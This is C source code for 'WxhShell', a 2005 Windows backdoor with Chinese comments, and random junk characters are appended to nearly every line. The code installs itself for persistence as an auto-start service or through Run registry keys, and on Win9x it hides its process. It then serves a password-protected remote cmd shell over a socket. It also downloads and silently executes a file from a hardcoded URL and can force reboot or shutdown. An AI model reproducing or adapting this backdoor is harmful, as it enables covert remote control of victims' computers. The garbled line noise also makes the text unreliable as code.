    if(Boot(SHUTDOWN)) ^AC2  zC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,YF1* 69  
    else { KdC'#$  
    closesocket(wsh); mJ+mTA5bW  
    ExitThread(0); =}2k+v-B  
    } d*l2x[8}g-  
    break; , nW)A/?}  
    } w-LaSJ(T  
  // 获取shell CM;B{*En  
  case 's': { ) h=[7}|  
    CmdShell(wsh); cnj32H^+  
    closesocket(wsh); =21m|8c  
    ExitThread(0); K$5mDScoJ  
    break; sv2XD}}  
  } Gq{);fq  
  // 退出 r\$`e7d}!  
  case 'x': { 0 D&-BAzi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hSG1f`  
    CloseIt(wsh); +Os9}uKf  
    break; t<MO~_`!  
    } bCV_jR+  
  // 离开 bOD] `*q  
  case 'q': { hZ-?-F?*@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sU"sd7#A  
    closesocket(wsh); UL`% Xx  
    WSACleanup(); h}=  
    exit(1); VCa`|S?2  
    break; YD] :3!MI  
        } +$#ytvDy  
  } "-g5$v$de  
  } ?7TuE!!M  
bkiMF$K,K  
  // 提示信息 E6fs&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S.!K  
} ]BfJ~+ N  
  } b 4A1M  
[I78<IJc  
  return; $.3J1DU  
} x57O.WdN  
rA A?{(!9x  
// shell模块句柄 X- `PF  
int CmdShell(SOCKET sock) +7r?vo1  
{ DtkOb,wY  
STARTUPINFO si; hpo*5Va  
ZeroMemory(&si,sizeof(si)); qq>Qi(>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p']{WLDj2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U+:Mu]97  
PROCESS_INFORMATION ProcessInfo; [E9)Da_)i  
char cmdline[]="cmd"; JN3&(t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x$.0 :jP/s  
  return 0; o':K4r;  
} s,-}}6WO  
/}nq?Vf  
// 自身启动模式 E6#")2C~  
int StartFromService(void) lfqsoIn;  
{ /~pB_l  
typedef struct p%IVWeZnx  
{ yZ,S$tSR  
  DWORD ExitStatus; {VKP&{~O  
  DWORD PebBaseAddress; ksF4m_E>YB  
  DWORD AffinityMask; ]~4*ak=)5\  
  DWORD BasePriority; Vn?|\3KY  
  ULONG UniqueProcessId; 69N8COLB  
  ULONG InheritedFromUniqueProcessId; .cB>ab&  
}   PROCESS_BASIC_INFORMATION; S%o6cl=  
scZ&}Ni  
PROCNTQSIP NtQueryInformationProcess; <%S[6*6U  
o^Qy71Uj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '25zb+ -  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <=@6UPsn2  
';I(#J6  
  HANDLE             hProcess; QsyM[;\j:  
  PROCESS_BASIC_INFORMATION pbi; $>hH{  
UH#S |o4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x/IAc6H~_8  
  if(NULL == hInst ) return 0; v-}B T+  
P7*?E*   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c!]yT0v&s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6k;>:[p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '%*/iH6<U{  
/~P4<1  
  if (!NtQueryInformationProcess) return 0; S y^et  
Xuj=V?5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .B{:<;sa  
  if(!hProcess) return 0; f9^MLb6)  
z;\,Dt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q m"AatA  
:+%Yul  
  CloseHandle(hProcess); spTIhZ  
U[NQ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ _[bKd.  
if(hProcess==NULL) return 0; _m3#g1m{  
#|F5Kh"  
HMODULE hMod; rvPmd%nk-  
char procName[255]; vUB*Qm]Y\  
unsigned long cbNeeded; 'S 6JpWG1  
vxXrVPU3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _cd=PZhI  
wSG!.Ejc7  
  CloseHandle(hProcess); J1Oe`my  
lSBu,UQP  
if(strstr(procName,"services")) return 1; // 以服务启动 y~Vl0f;  
O]G3l0  
  return 0; // 注册表启动 }ssL;q  
} o^+g2;Ro  
+7j7zpw  
// 主模块 WTwura,  
int StartWxhshell(LPSTR lpCmdLine) M^0^l9w  
{ i?6#>;f  
  SOCKET wsl; #fq&yjl#A  
BOOL val=TRUE; 6d;RtCENo  
  int port=0; T 5>'q;jM  
  struct sockaddr_in door; sDjbvC0  
n(j5dN>]  
  if(wscfg.ws_autoins) Install(); ij02J`w:Ra  
(~]0)J  
port=atoi(lpCmdLine); `9Q O'^)  
~Q+J1S]Fs  
if(port<=0) port=wscfg.ws_port; @%I-15Jz  
_o{w<b&  
  WSADATA data; rM)#}eZK!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1j+RXb\<  
6<{SbE|G{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _ "lW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nj+g Sa9  
  door.sin_family = AF_INET; r~PVh?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D4PjE@D"H  
  door.sin_port = htons(port); AIt;~x  
8-FW'bA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vs, &  
closesocket(wsl); Ev,b5KelD  
return 1; 5KL??ao-  
} 7rIEpN>*  
#F ;@Qi3z  
  if(listen(wsl,2) == INVALID_SOCKET) { j:[ #eC  
closesocket(wsl); P5`BrY,hZ  
return 1; b.QL\$a &  
} <O4W!UVg  
  Wxhshell(wsl); Dj'+,{7,u  
  WSACleanup(); @H8CU!J  
cR!Mn$m  
return 0; %D E_kwL  
!5K5;M_Ih"  
} YkI_i(  
hd#MV!ti  
// 以NT服务方式启动 LteZ7e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &'W ~~ir  
{ oZw#]Q@  
DWORD   status = 0; >"pHk@AWK  
  DWORD   specificError = 0xfffffff; e{}vT$-  
P@8S|#LpZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )KUEkslR:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6kdcFcV-]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yu$xQ~ o  
  serviceStatus.dwWin32ExitCode     = 0; B\6%.R  
  serviceStatus.dwServiceSpecificExitCode = 0; DB.)/(zWQ  
  serviceStatus.dwCheckPoint       = 0; ~iU@ns|g\  
  serviceStatus.dwWaitHint       = 0; M+Eg{^ q`  
p~h [4hP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UI74RP  
  if (hServiceStatusHandle==0) return; U9x6\Iy  
;#ElJXS  
status = GetLastError(); R;H>#caJ  
  if (status!=NO_ERROR) ApqNV  
{ diD[/&k#kh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @hOT< Uo  
    serviceStatus.dwCheckPoint       = 0; mxmj  
    serviceStatus.dwWaitHint       = 0; 52'0l>  
    serviceStatus.dwWin32ExitCode     = status; }/M`G]wT#  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?Y_!Fr3V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lh*!f$2 ~  
    return; "1ov<  
  } c>L#(D\\  
^d!I{ y#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #oxP,LR  
  serviceStatus.dwCheckPoint       = 0; "eR-(c1  
  serviceStatus.dwWaitHint       = 0; X?n($z/ {  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pu Z0_1uN  
} :zsMkdU  
`f\+aD'u  
// 处理NT服务事件,比如:启动、停止 ,*g.?q@W2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O*m9qF<  
{ dS;Ui]/J  
switch(fdwControl) \>c1Z5H>  
{ TS@U0Ror  
case SERVICE_CONTROL_STOP: iKAqM{(  
  serviceStatus.dwWin32ExitCode = 0; FUs57 V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PQ(/1v   
  serviceStatus.dwCheckPoint   = 0; t^8|t(Lq  
  serviceStatus.dwWaitHint     = 0; "hLm wz|a  
  { _t@9WA;+\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |!*abc\`(`  
  } A\QrawBp0l  
  return; -\V;Gw8mD  
case SERVICE_CONTROL_PAUSE: EL;OYW(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j:xm>X'  
  break; uF<\|y rFt  
case SERVICE_CONTROL_CONTINUE: QA# 7T3|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u^+ (5|  
  break; >o! 5)\F  
case SERVICE_CONTROL_INTERROGATE: NU.YL1  
  break; o;'-^ LJ  
}; z i3gE$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jp +h''t  
} Ql? >,FZ  
F7U$ 7(I2G  
// 标准应用程序主函数 HC(o;,spO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %DuSco"  
{ qz.WF8Sy2  
/[>zFYaQ  
// 获取操作系统版本 ~  ve  
OsIsNt=GetOsVer(); r,cK#!<%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [G7S  
X A-,  
  // 从命令行安装 "In$|A\?E  
  if(strpbrk(lpCmdLine,"iI")) Install(); <gx"p#JbZ  
tq2Ti Xo%  
  // 下载执行文件 -59;Zn/  
if(wscfg.ws_downexe) { ;  8u5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uAv'%/  
  WinExec(wscfg.ws_filenam,SW_HIDE); <M M(Z  
} fx = %e  
`;z;=A*  
if(!OsIsNt) { Zie t-@}  
// 如果时win9x,隐藏进程并且设置为注册表启动 G|)fZQ1nS  
HideProc(); ./Wi(p{F  
StartWxhshell(lpCmdLine); <*5`TE0J  
} yI8 /m|  
else tnFhL&  
  if(StartFromService()) ^1`T_+#[s  
  // 以服务方式启动 jn#Ok@tZ  
  StartServiceCtrlDispatcher(DispatchTable); n /Dk~Q)  
else `g:bvIV5x>  
  // 普通方式启动 8|-064i>  
  StartWxhshell(lpCmdLine); 95 oh}c  
<(B: "wI  
return 0;  f%c-  
} "Sd2VSLg  
4Q^i"jT  
<77v8=as5  
,=y8[(h  
=========================================== UjH+BC+9`b  
}7Y @u@R  
psB9~EU&Q  
=pn(56  
}d16xp  
0A.9<&Lod  
" o3>D~9  
CUa`#  
#include <stdio.h> 6cbIs_ g  
#include <string.h> meR5E?Fm  
#include <windows.h> $d%NFc&  
#include <winsock2.h> gclw>((5  
#include <winsvc.h> `zMR?F`  
#include <urlmon.h> 3k5F$wf  
$/;<~Pzi  
#pragma comment (lib, "Ws2_32.lib") ?8R  
#pragma comment (lib, "urlmon.lib") G,A;`:/  
LJ mRa  
#define MAX_USER   100 // 最大客户端连接数 IC@-`S#F  
#define BUF_SOCK   200 // sock buffer +@#k<.yqn  
#define KEY_BUFF   255 // 输入 buffer Mgc|>#=  
:y(HOUB  
#define REBOOT     0   // 重启  iT&Y9  
#define SHUTDOWN   1   // 关机 c9axzg UA  
n]J;BW& Av  
#define DEF_PORT   5000 // 监听端口 7wwlZ;w  
!-Md+I_  
#define REG_LEN     16   // 注册表键长度 n<66 7 <  
#define SVC_LEN     80   // NT服务名长度 cO/.(KBF  
R*z:+p}oHy  
// 从dll定义API zqAp7:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~Is-^k)y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s+E-M=d0e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #;9n_)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \_PD@A9  
&g\?znF]H  
// wxhshell配置信息 e?eX9yA7F  
struct WSCFG { j#JE4(&  
  int ws_port;         // 监听端口 tCirdwmg  
  char ws_passstr[REG_LEN]; // 口令 DF~{i{  
  int ws_autoins;       // 安装标记, 1=yes 0=no lO dw H"  
  char ws_regname[REG_LEN]; // 注册表键名 TH#5j.uUs  
  char ws_svcname[REG_LEN]; // 服务名 %<Kw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D-4\AzIb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vh;P,no#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ">NPp\t>/Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g)#.|d+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O5?3 nYHa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !:w&eFC6  
_4MT,kN  
}; Z*Jp?[##  
Ncle8=8  
// default Wxhshell configuration C4/p5J  
struct WSCFG wscfg={DEF_PORT, 34Z$a{ w  
    "xuhuanlingzhe", fN{JLp  
    1, l/o 4bkV  
    "Wxhshell", gCc::[}\Y  
    "Wxhshell", FV W&)-I  
            "WxhShell Service", S#l6=zI7^R  
    "Wrsky Windows CmdShell Service", 0xe*\CAo  
    "Please Input Your Password: ", lpHz*NZ0  
  1, u &s>UkR  
  "http://www.wrsky.com/wxhshell.exe", GK-__Y.  
  "Wxhshell.exe" b_xGCBC  
    }; k>dzeH  
)A H)*Mg  
// 消息定义模块 r2;)VS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  MuCnBx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9q|36CAO_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @E@5/N6M  
char *msg_ws_ext="\n\rExit."; j,i> 1|J  
char *msg_ws_end="\n\rQuit."; v^QUYsar  
char *msg_ws_boot="\n\rReboot..."; b^I(>l-  
char *msg_ws_poff="\n\rShutdown..."; GMRFZw_M  
char *msg_ws_down="\n\rSave to "; 8WvQ[cd  
v05B7^1@_  
char *msg_ws_err="\n\rErr!"; 5/"&C-t  
char *msg_ws_ok="\n\rOK!"; cl3Dwrf?  
VUE6M\&z>  
char ExeFile[MAX_PATH]; HtbN7V/  
int nUser = 0; <764|q  
HANDLE handles[MAX_USER]; yM-3nwk  
int OsIsNt; Oe:_B/l  
f))'8  
SERVICE_STATUS       serviceStatus; C.}Vm};M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )>~d`_$dt  
( [m[<  
// 函数声明 )/ 2J|LxS  
int Install(void); 2or!v^^u  
int Uninstall(void); "T,^>xD  
int DownloadFile(char *sURL, SOCKET wsh); 4ZN&Yf`  
int Boot(int flag); js<}>wD7<  
void HideProc(void); Msea kF  
int GetOsVer(void); G'qGsKf\  
int Wxhshell(SOCKET wsl); ;]+p>p-#  
void TalkWithClient(void *cs); V]I+>Zn| 7  
int CmdShell(SOCKET sock); ??tNMr5{[  
int StartFromService(void); K$(LiP  
int StartWxhshell(LPSTR lpCmdLine); E A8>{}Z*  
L-v-KO6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k%S;N{Qh@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q!_@Am"h  
mfpL?N  
// 数据结构和表定义 _wMYA8n  
SERVICE_TABLE_ENTRY DispatchTable[] = E5U{.45  
{ yC<[LH  
{wscfg.ws_svcname, NTServiceMain},  %SSBXWP  
{NULL, NULL} 8rwXbYx x  
}; :i>/aRNh1  
t<QSp6n""  
// 自我安装 G8E=E<Yg~  
int Install(void) r=o\!sh[  
{ FaUc"J  
  char svExeFile[MAX_PATH]; Lj(y>{y  
  HKEY key; ;x=r.3OQy  
  strcpy(svExeFile,ExeFile); 6*92I  
ka$oUB)iQ  
// 如果是win9x系统,修改注册表设为自启动 "Yu';&  
if(!OsIsNt) { +zup+=0e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '7Aj0U(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,*Z:a 4  
  RegCloseKey(key); g9F4nExo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V\(p6:1(6K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wk"\aoX"E  
  RegCloseKey(key); _x ;fTW0  
  return 0; )5(Ko <"  
    } 9q=\_[\[  
  } UPI'O %  
} D^%DYp  
else { V.k2t$@  
XK 09x1r  
// 如果是NT以上系统,安装为系统服务 z8"(Yy7m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6q!smM  
if (schSCManager!=0) ^.f`6 6/  
{ ^%:syg_RM[  
  SC_HANDLE schService = CreateService ==z,vxr  
  ( ;:)?@IuSy  
  schSCManager, &InMI#0mV  
  wscfg.ws_svcname, 9 yE   
  wscfg.ws_svcdisp, gU^2;C  
  SERVICE_ALL_ACCESS, u(`,7 o "  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O)4P)KAO<  
  SERVICE_AUTO_START, !ufSO9eDx"  
  SERVICE_ERROR_NORMAL, |G QFNrNx  
  svExeFile, *`HE$k!  
  NULL, "7T9d)  
  NULL, kroO~(\  
  NULL, iA[WDB\|0  
  NULL, Ef2#}%>  
  NULL o/U"'FP  
  ); ~YX!49XfHh  
  if (schService!=0) &xGcxFd  
  { Q41eYzAi  
  CloseServiceHandle(schService); Nhm)bdv]  
  CloseServiceHandle(schSCManager); YdI&OzaroE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]1XJQW@gF  
  strcat(svExeFile,wscfg.ws_svcname); H)${"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eT|"6WJ:{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9se ,c  
  RegCloseKey(key); 6*:mc  
  return 0; \?9{H6<=  
    } 6UkX?I`>  
  } sP+ZE>7  
  CloseServiceHandle(schSCManager); JN Ur?+g  
} k^ZcgHHgb  
} nd 5w|83  
 !AGjiP$  
return 1; E2D}F@<]  
} h 'F\9t  
ny. YkN2  
// 自我卸载 6,*o;<k[  
int Uninstall(void) iB:](Md'r  
{ dIUg e`O9  
  HKEY key; k7\h- yn{  
^q uv`d  
if(!OsIsNt) { UUF;Q0X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iw$n*1M  
  RegDeleteValue(key,wscfg.ws_regname); ;6?VkF  
  RegCloseKey(key); \R0&*cnmo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a_pNFe  
  RegDeleteValue(key,wscfg.ws_regname); \2K_"5  
  RegCloseKey(key); BZP~m=kq  
  return 0; m'Thm{Y,?n  
  } gUcG#  
} f[b x|6  
} e"sz jY~V  
else { cS'|c06  
Yzr|Z7r q}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KH<f=?b  
if (schSCManager!=0) )$Erfu  
{ tw`{\kWG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `oxs;;P  
  if (schService!=0) BtZycI  
  { 8u401ddg  
  if(DeleteService(schService)!=0) { l9%oKJ;  
  CloseServiceHandle(schService); qOV6Kh)  
  CloseServiceHandle(schSCManager); pErre2fS  
  return 0; ,MtN_V-  
  } {M5[gr%  
  CloseServiceHandle(schService); )i;o\UU  
  } 5Z`9L| 3d  
  CloseServiceHandle(schSCManager); .mse.$TK.^  
} w<3g1n7R  
} vPV=K+1  
q0oNRAvn"  
return 1; },2mIit(  
} } h.]sF  
fh1rmet&Ts  
// 从指定url下载文件 B^z3u=ll  
int DownloadFile(char *sURL, SOCKET wsh) Iaq7<$XU  
{ k lRS:\dW  
  HRESULT hr; K'`N(WiL  
char seps[]= "/"; Dt9[uyP&  
char *token; azj:Hru&t#  
char *file; jH1!'1s|  
char myURL[MAX_PATH]; vq df-i  
char myFILE[MAX_PATH]; X"KX_)GZD  
o771q}?&`  
strcpy(myURL,sURL); bGl5=`  
  token=strtok(myURL,seps); IXmtjRv5  
  while(token!=NULL) H'L ~8>  
  { oM=Ltxv}  
    file=token; >lo,0oG  
  token=strtok(NULL,seps); gCMwmanX  
  } @q?zh'@;  
O>=D1no*  
GetCurrentDirectory(MAX_PATH,myFILE); )V}u}5  
strcat(myFILE, "\\"); uKI2KWU?2  
strcat(myFILE, file); l>i<J1  
  send(wsh,myFILE,strlen(myFILE),0); QsaaA MGY  
send(wsh,"...",3,0); *EZ'S+wR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PF,|Wzx  
  if(hr==S_OK) fNVNx~E  
return 0; O6LuFT .  
else #'qEm=%  
return 1; USKa6<:{W  
2qb,bp1$  
} ;xnJ+$//U  
kp~@Ub @O3  
// 系统电源模块 5z8!Nmb/  
int Boot(int flag) B u ~N)^  
{ IT3xX=|b  
  HANDLE hToken; 0 ttM_]#q  
  TOKEN_PRIVILEGES tkp; "Q:m0P xb  
lbw*T  
  if(OsIsNt) { n]/7UH}(<&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (z}q6Lfa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~*|0yPFg  
    tkp.PrivilegeCount = 1; 26Y Y1T\B)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?mK`Wleh?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ip/_uDi+!Z  
if(flag==REBOOT) { ,= ;d<O8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o%+8.Tx6wT  
  return 0; 7/ "g} F}Q  
} !N4?>[E  
else { $e=pdD~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \BT8-}  
  return 0; ZiBTe,;  
} DK/xHIv8-  
  } +H[G D!  
  else { }";\8  
if(flag==REBOOT) { &ACM:&Ob  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SArSi6vF  
  return 0; 5I!EsW$sY  
} vHY."$|H  
else { 6.z8!4fpl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e}u# :ysj  
  return 0; OPp>z0p%6X  
} IK%fX/tDyc  
} f^8,Z+n  
p}qNw`  
return 1; C.r9)#G  
} "#T3l^@  
1C[j:Ly/  
// win9x进程隐藏模块 ~.;S>o[  
void HideProc(void) tL?nO#Qx  
{ #x"dWi (  
#]ZOi`;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =='~g~  
  if ( hKernel != NULL ) 7l"N%e  
  { Zh?1+Sz&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . Q3GA0O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i^[yGXtW  
    FreeLibrary(hKernel); 4{Vw30DZ  
  } 6e1/h@p\7  
%4:tRF  
return; o|\0IG(\  
} ?QGAiu0  
\de82 4  
// 获取操作系统版本 JzA`*X[  
int GetOsVer(void) xm@vx}O:  
{  fL9R{=I%  
  OSVERSIONINFO winfo;  '&/"_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (>THN*i  
  GetVersionEx(&winfo); WH F>J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qRMH[F$`  
  return 1; t'@1FA!)  
  else {'W\~GnZ  
  return 0; *@J  
} <(Ub(  
>;S/$  
// 客户端句柄模块 zbt>5S_  
int Wxhshell(SOCKET wsl) n>F1G MX  
{ R v6 1*F4  
  SOCKET wsh; YYFJJ,7?  
  struct sockaddr_in client; tcYbM+4e  
  DWORD myID; zmf`}j[  
5}3Q}o#  
  while(nUser<MAX_USER) 38IVSK_  
{ #t /.fd  
  int nSize=sizeof(client); {K-]nh/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^ q]BCOfJ(  
  if(wsh==INVALID_SOCKET) return 1; GWZ0!V  
.aWEXJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :]%z8,6k  
if(handles[nUser]==0) ,bRvj8"M  
  closesocket(wsh); _5I" %E;S  
else } FcWzi  
  nUser++; gd>Op  
  } |r"1 &ow5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sr)rKc  
q^],K'  
  return 0; Zfyr& ]"  
} {s}@$rW  
wy5vn?T@  
// 关闭 socket s8T} ah!  
void CloseIt(SOCKET wsh) OHeVm-VC  
{ * iW>i^  
closesocket(wsh); zR2'xE*  
nUser--; AY['!&T  
ExitThread(0); "(/ 1]EH`  
} (,eH*/~/  
6 flc  
// 客户端请求句柄 \HFeEEKH  
void TalkWithClient(void *cs) g+gHIb7{  
{ (q+U5Ls6  
D'e'xU  
  SOCKET wsh=(SOCKET)cs; "=I ioY  
  char pwd[SVC_LEN]; lJ!+n<K+  
  char cmd[KEY_BUFF]; {uEu ^6a5  
char chr[1]; bq3G3oAyG  
int i,j; :UmY|=v?t  
ye1kI~LO(  
  while (nUser < MAX_USER) { =/MAKi}g  
nfck3h  
if(wscfg.ws_passstr) { p(UUH3%W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1P&XG@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3IHya=qN  
  //ZeroMemory(pwd,KEY_BUFF); HABMFv  
      i=0; k WYjqv  
  while(i<SVC_LEN) { 1,fjdd8OM;  
q: . URl  
  // 设置超时 _@0>y MZ^  
  fd_set FdRead; 5-O[(b2O  
  struct timeval TimeOut; ^+cf  
  FD_ZERO(&FdRead); T'2(sHk  
  FD_SET(wsh,&FdRead); RO,  
  TimeOut.tv_sec=8; RWf4Wh?d  
  TimeOut.tv_usec=0; n'ft@7>%h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1lu _<?O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -?n|kSHX  
V}ZF\SG(K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DWDL|4 og  
  pwd=chr[0]; O`- JKZc  
  if(chr[0]==0xd || chr[0]==0xa) { RS@*/.]o  
  pwd=0; U]Q2EL\%  
  break; {zhN>n_  
  } i[)H!%RV*  
  i++; h0`@yo  
    } j E_a ++  
b 8v?@s~  
  // 如果是非法用户,关闭 socket 4;8 Z?.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wYZFW'5p  
} _O ~DJ"  
jLc4D'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :.Vn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3=V79&  
2'W3:   
while(1) { 1Iu^+  
"Q;n-fqf  
  ZeroMemory(cmd,KEY_BUFF); \"i2E!  
>[B[Q_})  
      // 自动支持客户端 telnet标准   e>1z1Q;_uv  
  j=0; %{s<h6{R  
  while(j<KEY_BUFF) { ^'r/;(ZF*/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9r!psRA:`)  
  cmd[j]=chr[0]; <hgt{b4  
  if(chr[0]==0xa || chr[0]==0xd) { [5^"U+`{x  
  cmd[j]=0; KOVGwEj  
  break; 7:t+  
  } H\AJLk2E  
  j++; o7E?A  
    } WPiQ+(pt  
vFXih'=_  
  // 下载文件 Au08k}h<G  
  if(strstr(cmd,"http://")) { Qp~O!9ph  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _] veTAV  
  if(DownloadFile(cmd,wsh)) w=I8f}(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C]K|;VQ  
  else lO>w|=<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >8+:{NW  
  } Va>~7  
  else { a,IE;5kG  
uFNVV;~RFI  
    switch(cmd[0]) { gtWJR  
  X*6bsYbK-  
  // 帮助 GV'Y'  
